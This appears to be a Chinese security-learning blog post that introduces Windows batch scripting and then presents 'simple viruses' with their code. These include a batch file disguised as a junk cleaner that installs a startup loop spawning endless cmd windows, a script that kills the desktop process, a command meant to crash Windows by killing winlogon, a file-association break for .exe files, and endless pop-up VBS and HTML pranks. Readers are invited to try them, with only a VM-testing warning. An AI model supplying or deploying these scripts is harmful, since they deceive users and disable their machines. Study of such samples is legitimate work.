[網絡安全學習篇附]:批處理與簡單的病毒

目錄

 

初識批處理

一個簡單的批處理程序

1、引入

2、echo 輸出

3、變量

4、if、goto

病毒

簡單的批處理文件一

簡單的批處理文件二

最簡單的病毒

最簡單的病毒解藥

最簡單的腳本

最簡單的死循環腳本

整人網頁


初識批處理

  • 如何批處理:

       命名:.bat

       方法:創建一個記事本文件,然後將其擴展改爲.bat

  • 批處理作用:自上而下成批處理每一條DOS命令,直到執行到最後一條。
  • 運行環境:當然是我們cmd了

迴歸我學過的任何一門語言都是從一個簡單的**程序開始的,批處理也同樣如此

一個簡單的批處理程序

1、引入

d:
cd\
cd temp
del ,/s/q

 我們把幾條dos命令匯聚在一起,這就進入了批處理的範疇


2、echo 輸出

@echo off        
color 0a            
title 飛哥小程序v1.0  
  
echo ==========================
echo               菜單
echo         1、修改管理員密碼
echo         2、定時關機
echo         3、退出本程序
echo ===========================

pause

看不懂?先不急,我們先來看一下運行效果:

                                

@etho  off        #關閉回顯

 color  0a           #設置窗口顯示顏色

color:
指定控制檯輸出的顏色屬性                                       
顏色屬性由兩個十六進制數字指定 -- 第一個爲背景,第二個則爲文字顏色。
每個數字可以爲以下任何值之一:                            
0 = 黑色        8 = 灰色                                                                       
1 = 藍色        9 = 淡藍色                                  
2 = 綠色        A = 淡綠色                                  
3 = 湖藍色      B = 淡淺綠色                                
4 = 紅色        C = 淡紅色                                  
5 = 紫色        D = 淡紫色                                  
6 = 黃色        E = 淡黃色                                  
7 = 白色        F = 亮白色                                                             
例如: "cilor fc" 亮白色背景,淡紅色文字顏色。                          

 title                     #設置程序名

例如:title 飛哥小程序v1.0 

pause                #暫停屏幕(沒有這條語句,我們是看不到上圖的顯示效果的,程序只會一閃而過)


3、變量

@echo off        
color 0a            
title 飛哥小程序v1.0  
  
echo ==========================
echo               菜單
echo         1、修改管理員密碼
echo         2、定時關機
echo         3、退出本程序
echo ===========================

set /p u=請輸入用戶名:
set /p p=請輸入新密碼:
net user %u% %p%   >nul


pause

 同樣我們先來看下效果:

                               

 set /p u= ( 字符串 )      #獲取輸入的字符,將其賦值給變量u

 %u%              #提取變量u的值

 net user 用戶名 密碼      #修改賬戶密碼(windows所有平臺支持)

 

 >nul       #清除一條命令執行後系統反饋

 再來看一下效果:

 

 後面的“命令成功完成”就不見了!


4、if、goto

@echo off         
color 0a             
title 飛哥小程序v1.0     

:menu
cls
echo ==========================
echo               菜單
echo         1、修改管理員密碼
echo         2、定時關機
echo         3、退出本程序
echo ===========================

set /p num=您的選擇是:   
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 被鬧,好好輸!
pause
goto menu

:1
set /p u=請輸入用戶名:
set /p p=請輸入新密碼:
net user %u% %p%   >nul
echo 您的密碼已經設置成功!
pause
goto menu

:2
set /p time=請輸入時間:
shutdown -s -t %time%  
set /p x=是否取消(1:是,0:否):
if "%x%"=="1" shutdown -a
goto menu
pause

:3
exit

分區塊

:menu

"menu"區塊

:1

“1”區塊

:2

“2”區塊

:3

"3"區塊

goto 區塊名              #程序跳該區塊

例如:goto menu      #程序跳至“menu區塊”

if "%num%"=="1" 命令1       #如果條件成立,執行命令1;條件不成立,跳過命令1,向下走

 cls                       #清屏 

 shutdown -s -t 100     #定時關機

常用shutdown命令:
shutdown -a          #取消關機   
shutdown -s          #關機
shutdown -f         #強行關閉應用程序
shutdown -l         #註銷當前用戶
shutdown -r         #關機並重啓
shutdown -s -t 時間 #定時關機
shutdown -h          #休眠
更多的 cmd:
shutdown ?   
查看

 好了,通過我們以上所學的命令,這樣一個簡單的批處理程序就寫完了。


病毒

測試環境:虛擬機win2003

注:一些簡單的病毒程序請勿在真實機中測試

簡單的批處理文件一

功能:僞裝垃圾清理程序添加一個開機自啓動項,無限彈出CMD窗口

@echo off
title 系統垃圾清理
color 2f
echo =======若殺毒軟件惡意攔截,請選擇【允許程序的所有操作】========
echo.
echo.
echo :start>c:\windows\windows.bat
echo start cmd>>c:\windows\windows.bat
echo goto start>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\" >nul
if %errorlevel%==0 goto next 
copy c:\windows\windows.bat "%USERPROFILE%\「開始」菜單\程序\啓動" >nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo   ====== 垃圾清理中,請不要關閉窗口======
echo.
ping -n 5 127.0.0.1 >nul
echo.
echo   ====== 垃圾清理完畢,共清理垃圾500M===
echo.
echo.
echo   ====== 建議立即重啓電腦
pause
goto ex

:error
echo.
echo.
echo   ====== 程序運行失敗,請使用【管理員權限】重新運行!======
echo.
pause
goto ex

:ex
exit

 echo.           #輸出一個空

  

 

注:系統啓動菜單位置這裏是winxp和win2003的位置,至於win後續系統或其他系統,去問萬能的度娘

我們來看一下運行效果:

運行完成後我們可以看到在開始啓動項中多了一個windows.bat文件。

                             

重啓之後,電腦完全死機了。

                             


簡單的批處理文件二

功能:僞裝垃圾清理程序強制終止桌面進程

@echo off
title 系統垃圾清理
color 2f
echo ====== 若有殺毒軟件惡意攔截,請選擇【允許程序的所有操作】=====
echo.
echo.

:next
echo.
echo.
echo ====== 垃圾清理中,請不要關閉窗口=======
echo.
ping -n 5 127.0.0.1 >nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo. ===== 完了,你係統廢了======
ping -n 5 127.0.0.1>nul
echo.
start c:\windows\explorer.exe
echo.
echo ====== 已經修復好了!是不是嚇壞了!!嘿嘿=========
pause

 >nul 2>nul        消息全部屏蔽

詳細請訪問:https://blog.csdn.net/weixin_43252204/article/details/105394751

                            

 桌面進程被殺死!

                            

 桌面進程恢復:

                            


 最簡單的藍屏炸彈文件

ntsd -c q -pn winlogon.ex

分析:

ntsd       #殺死進程 

ntsd -c q -pn 進程名     #強制殺死進程

藍屏原因:winlogon 進程不能被殺死,我想強制殺死,系統不讓,結果導致藍屏!

對win2003有很大的殺傷力,但對win2008基本沒有殺傷力

最簡單的病毒

assoc.exe=txtfile

分析:

修改文件關聯,導致文件無法正常打開

 測試效果:

                           


最簡單的病毒解藥

assoc.exe=exefile

 只需將文件後綴與其關聯文對應即可

 


最簡單的腳本

方法:將.txt改爲.vbs

msgbox "我最帥!"

 測試效果:

                           


最簡單的死循環腳本

do
 msgbox "我最帥!"
loop

 測試:  

                          

 效果:窗口無法關閉

解決方法:

vbs 使用微軟自帶的wscript.exe來編寫的

                          


  一個有趣的小腳本,大家可以試試

do
msgbox "飛哥最帥!"
msgbox "小子,你對這件事有異議嗎"
msgbox "你要爲此付出代價"
msgbox "從現在開始我要求你點100下鼠標"
msgbox "100"
msgbox "99"
msgbox "98"
msgbox "97"
msgbox "96"
msgbox "95"
msgbox "94"
msgbox "93"
msgbox "92"
msgbox "91"
msgbox "90"
msgbox "...."
msgbox "3"
msgbox "2"
msgbox "1"
msgbox "如果你看到這裏,說明你確實很執着,你感動了我,請再點一下"
msgbox "年輕人,有時候執着也沒用,換個姿勢再來一次"
loop

注:可以用修改圖標軟件修改vbs文件圖標


整人網頁

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<title>很噁心的常見整人效果的代碼</title>
	<link rel="stylesheet" href="">
</head>
<body>
	<a href="" onmouseover="alert('飛哥真帥');
alert('飛哥真帥');
alert('飛哥是真帥');
alert('飛哥是真帥');
alert('飛哥是真的帥');
alert('同意不!');
alert('不同意?');
alert('去死吧');
	">不許把鼠標移到這裏!</a>點了真爽!!!
</body>
</html>

 測試效果:

                        

參考文獻:

b站千峯網絡安全視頻:https://www.bilibili.com/video/BV1i7411G7vm?p=122

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章